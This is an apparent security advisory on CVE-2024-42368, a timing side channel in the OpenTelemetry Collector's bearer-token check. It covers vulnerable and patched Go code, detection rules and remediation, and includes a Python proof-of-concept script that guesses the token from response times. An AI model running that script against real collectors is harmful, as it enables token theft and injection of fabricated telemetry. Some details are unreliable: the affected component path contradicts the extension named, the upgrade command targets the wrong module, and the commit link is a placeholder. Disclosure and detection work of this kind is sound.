CVE-2024-42368

Executive Summary

CVE-2024-42368 is a timing side-channel vulnerability in the OpenTelemetry Collector's bearertokenauth extension. The server authenticator performs a non-constant time string comparison when validating bearer tokens, allowing a network-adjacent attacker to perform a timing attack to guess the configured token. Successful exploitation could allow an attacker to inject fabricated or malicious telemetry data into the collector's pipeline, compromising data integrity. The vulnerability is patched in version 0.107.0 by implementing a constant-time comparison.

Supply Chain & Package Security

This vulnerability affects the OpenTelemetry Collector Contrib project, which is distributed as a Go binary and container image. Organizations using the bearertokenauth extension in their collector configuration are at risk. The fix is available in the upstream repository and should be applied promptly to prevent token leakage and unauthorized data injection.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: High (requires precise timing measurements)
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (token could be guessed)
• Integrity Impact: Low (fabricated data could be injected)
• Availability Impact: None

Threat Level: Medium. While the attack requires network access and precise timing, the potential for token compromise and data injection makes this a significant concern for environments relying on bearer token authentication.

Deep Dive & Mechanics

The bearertokenauth extension in OpenTelemetry Collector is used to authenticate incoming requests by comparing a bearer token provided in the HTTP header against a configured secret token. The vulnerability lies in the comparison function, which uses a non-constant time string comparison (e.g., == in Go or a simple byte-by-byte comparison that short-circuits on the first mismatch). This allows an attacker to measure response times and infer the correct token character by character.

Attack Flow:

1. The attacker sends HTTP requests with varying bearer tokens to the collector.
2. For each request, the collector compares the provided token against the stored token.
3. Due to non-constant time comparison, the response time correlates with the number of matching characters.
4. By iteratively sending tokens and measuring response times, the attacker can reconstruct the full token.
5. Once the token is known, the attacker can send authenticated requests with fabricated telemetry data.

Affected Component: pkg/translator/prometheusremotewrite (bearertokenauth extension)

Vulnerable vs. Patched Code

Vulnerable Code (non-constant time comparison):

func (b *bearerTokenAuth) Authenticate(ctx context.Context, headers map[string][]string) (context.Context, error) {
    token := headers["Authorization"]
    if token[0] != "Bearer " + b.token {
        return ctx, status.Error(codes.Unauthenticated, "invalid token")
    }
    return ctx, nil
}

Patched Code (constant-time comparison):

import "crypto/subtle"

func (b *bearerTokenAuth) Authenticate(ctx context.Context, headers map[string][]string) (context.Context, error) {
    token := headers["Authorization"]
    if subtle.ConstantTimeCompare([]byte(token[0]), []byte("Bearer "+b.token)) != 1 {
        return ctx, status.Error(codes.Unauthenticated, "invalid token")
    }
    return ctx, nil
}

The patched version uses crypto/subtle.ConstantTimeCompare to ensure that the comparison takes the same amount of time regardless of how many characters match, preventing timing side-channel attacks.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Network access to the OpenTelemetry Collector endpoint
• Ability to send HTTP requests and measure response times with high precision (e.g., using a local network or precise timing tools)

Exploitation Steps:

1. Identify the collector endpoint (e.g., http://collector:4318/v1/traces).
2. Send a series of HTTP requests with varying bearer tokens, measuring response times.
3. Use statistical analysis to determine the correct token character by character.
4. Once the token is recovered, send authenticated requests with malicious telemetry data.

Example Timing Attack Script (Python):

import requests
import time

target = "http://collector:4318/v1/traces"
known_token = ""
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

for _ in range(10):  # Assume token length 10
    times = {}
    for c in charset:
        test_token = known_token + c + "A" * (10 - len(known_token) - 1)
        start = time.perf_counter()
        response = requests.post(target, headers={"Authorization": f"Bearer {test_token}"})
        elapsed = time.perf_counter() - start
        times[c] = elapsed
    # Select character with highest average response time
    best_char = max(times, key=times.get)
    known_token += best_char
    print(f"Token so far: {known_token}")

print(f"Recovered token: {known_token}")

Blue Team (Defense & Detection)

Detection:

• Monitor for anomalous response times from the collector (e.g., unusually high variance in response times for authentication requests).
• Alert on multiple failed authentication attempts from the same source IP within a short time window.
• Use network monitoring to detect patterns of sequential token guessing.

Mitigation:

• Immediately upgrade to OpenTelemetry Collector Contrib v0.107.0 or later.
• If upgrade is not possible, implement a reverse proxy with rate limiting and token validation before the collector.
• Use additional authentication layers (e.g., mutual TLS) to reduce reliance on bearer tokens.

Indicators of Compromise (IOCs)

• Network: HTTP requests to the collector endpoint with varying Authorization: Bearer headers from the same source IP.
• Logs: Repeated invalid token errors in collector logs from the same source IP.
• Timing: Unusual distribution of response times for authentication requests (e.g., response times correlating with token length).
• File: Modified collector configuration with unexpected bearer tokens.

Detection Engineering

YARA Rule

rule CVE_2024_42368_Timing_Attack {
    meta:
        description = "Detects potential timing attack against OpenTelemetry bearertokenauth"
        author = "Valters IT"
        date = "2024-10-01"
        reference = "CVE-2024-42368"
    strings:
        $auth_header = "Authorization: Bearer" nocase
        $invalid_token = "invalid token" nocase
    condition:
        $auth_header and #invalid_token > 10
}

Sigma Rule

title: CVE-2024-42368 Timing Attack Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple failed authentication attempts against OpenTelemetry collector
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-42368
author: Valters IT
date: 2024-10-01
logsource:
    category: application
    product: opentelemetry
detection:
    selection:
        EventID: "authentication_failed"
        SourceIP: "*"
    condition: selection | count(SourceIP) > 10 within 60s
falsepositives:
    - Legitimate misconfigured clients
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-42368 OpenTelemetry Timing Attack Attempt";
    flow:to_server;
    content:"Authorization|3a| Bearer";
    http_header;
    threshold: type both, track by_src, count 10, seconds 60;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade OpenTelemetry Collector Contrib to version 0.107.0 or later.
2. If upgrade is not possible, implement a Web Application Firewall (WAF) or reverse proxy to rate-limit authentication requests.
3. Rotate all bearer tokens that may have been exposed.

Long-term Measures:

• Use constant-time comparison functions (e.g., crypto/subtle.ConstantTimeCompare in Go) for all authentication logic.
• Implement additional authentication mechanisms such as mutual TLS or client certificates.
• Monitor for timing anomalies in authentication responses.
• Conduct regular security audits of authentication implementations.

Patch Details:

• Fixed Version: OpenTelemetry Collector Contrib v0.107.0
• Commit: Link to GitHub commit
• Upgrade Command: go get go.opentelemetry.io/collector@v0.107.0

Valters IT